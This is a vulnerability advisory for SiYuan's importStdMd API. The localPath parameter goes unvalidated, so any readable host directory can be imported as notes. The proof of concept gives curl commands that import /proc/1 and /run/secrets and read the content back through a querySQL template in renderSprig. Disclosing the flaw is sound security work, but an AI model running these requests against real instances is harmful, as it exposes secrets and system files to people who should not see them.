SiYuan importStdMd: unvalidated localPath imports arbitrary host directories as persistent notes

Summary

POST /api/import/importStdMd passes the localPath parameter directly to model.ImportFromLocalPath with zero path validation. The function recursively reads every file under the given path and permanently stores their content as SiYuan note documents in the workspace database, making them searchable and accessible to all workspace users.

Details

File: kernel/api/import.go - function importStdMd

func importStdMd(c *gin.Context) {
    notebook  := arg["notebook"].(string)
    localPath := arg["localPath"].(string)
    toPath    := arg["toPath"].(string)

    err := model.ImportFromLocalPath(notebook, localPath, toPath)
}

model.ImportFromLocalPath (kernel/model/import.go:784):

func ImportFromLocalPath(boxID, localPath string, toPath string) (err error) {
    filelock.Walk(localPath, func(currentPath string, d fs.DirEntry, ...) error {
    })
}

Unlike globalCopyFiles, there is no blocklist at all. Any readable path is accepted. The imported content is permanently stored in the workspace SQLite database and survives restarts.

Chained attack with Bug #1 (renderSprig): Admin imports sensitive files --> content stored in blocks table --> non-admin user queries via querySQL through renderSprig.

PoC

docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

TOKEN="YOUR_ADMIN_TOKEN"

NOTEBOOK=$(curl -s -X POST http://localhost:6806/api/notebook/createNotebook \
  -H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])")

curl -s -X POST http://localhost:6806/api/import/importStdMd \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/proc/1\",\"toPath\":\"/\"}"

curl -s -X POST http://localhost:6806/api/import/importStdMd \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}"

curl -s -X POST http://localhost:6806/api/template/renderSprig \
  -H "Authorization: Token $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}'

Impact

An admin can permanently import the contents of any readable host directory into the workspace as searchable notes. Unlike globalCopyFiles, there is no blocklist - /proc/, /etc/, /run/secrets/, /home/ are all accepted.